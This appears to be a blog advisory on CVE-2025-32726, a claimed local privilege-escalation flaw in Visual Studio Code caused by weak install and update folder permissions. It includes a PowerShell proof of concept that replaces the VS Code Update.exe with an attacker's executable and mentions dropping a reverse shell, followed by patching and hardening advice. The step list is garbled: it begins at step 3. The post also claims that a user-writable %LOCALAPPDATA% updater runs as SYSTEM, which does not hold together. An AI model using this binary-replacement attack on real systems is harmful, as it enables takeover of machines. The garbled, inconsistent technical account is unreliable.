A new vulnerability, identified as CVE-2025-32726, was recently discovered in Visual Studio Code (VS Code). This flaw allows a user with limited permissions on a system to potentially escalate their privileges locally. Since VS Code is very popular among developers, it's important to understand how this vulnerability works, how attackers can exploit it, and what you can do to protect yourself.

In this post, we'll break down the details behind CVE-2025-32726 in simple terms, show example code snippets used by attackers, link to official references, and explain steps you can take to stay safe.

What is CVE-2025-32726?

CVE-2025-32726 is an improper access control bug in the way Visual Studio Code manages certain local files and directories. Essentially, VS Code does not properly restrict access to some of its files. This means that an authenticated user on the same machine can potentially exploit these weaknesses to gain SYSTEM or administrator privileges.

This vulnerability does not require remote access; the attacker needs access to the affected machine—like through a local account or by tricking a user to run malicious code.

Exploit Details: How Attackers Can Escalate Privileges

When you install Visual Studio Code, it creates various files and folders on your system. Under certain conditions, especially with some older installer versions or specific configurations, the permissions (also called Access Control Lists or ACLs) on these files and folders are too weak.

*Example scenario:*
- The %ProgramFiles%\Microsoft VS Code\ directory, or a related update folder in %LOCALAPPDATA%, is created with permissions that let any "Authenticated Users" write or replace files.

An attacker with regular user access could replace one of these files with a malicious version.

When the application or system runs the modified executable, it will do so with elevated privileges (like SYSTEM or Administrator), giving total control to the attacker.

Proof-of-Concept (PoC) Exploit Code

Below is a simplified example showing how an attacker could replace the VS Code updater executable to escalate privileges.

# Location of the vulnerable updater (example path; may vary by install)
$updaterPath = "$env:LOCALAPPDATA\Programs\Microsoft VS Code\Update.exe"

# Check if we can write to it
if (Test-Path $updaterPath -PathType Leaf) {
    try {
        # Replace updater with our malicious EXE (must build "malicious.exe" yourself)
        Copy-Item -Path ".\malicious.exe" -Destination $updaterPath -Force
        Write-Host "Updater replaced! Awaiting privileged code execution..."
    } catch {
        Write-Warning "Failed to replace updater: $_"
    }
} else {
    Write-Warning "VS Code updater not found at: $updaterPath"
}

Note: This is for educational purposes only. Do not attempt on computers you do not own. Running this successfully means you can upload and execute code with elevated privileges when VS Code auto-updates.

They locate the VS Code install or update directory, which has weak permissions.

3. They copy a backdoored executable (such as a reverse shell) over the Update.exe or another privileged binary.
4. When VS Code auto-updates, the system runs their code with high privileges, compromising the entire computer.

Update VS Code:

Microsoft has released patches for this issue. Download and install the latest version of Visual Studio Code.

Manually review the folder and file permissions for VS Code.

- Only "Administrators" and "SYSTEM" should have write privileges to the install and update directories.

References

- Microsoft Security Advisory (CVE-2025-32726)
- Visual Studio Code Release Notes
- Mitre CVE Entry - CVE-2025-32726
- Hardening Windows Program Files Permissions

Conclusion

CVE-2025-32726 is a real-world reminder that even developer tools like Visual Studio Code need strict permissions to prevent local privilege escalation. If you or your organization uses VS Code, update immediately and verify installation folder permissions. Always use strong security practices and regularly audit permissions to protect your systems.

Timeline

Published on: 04/12/2025 02:15:22 UTC
Last modified on: 04/16/2025 00:42:19 UTC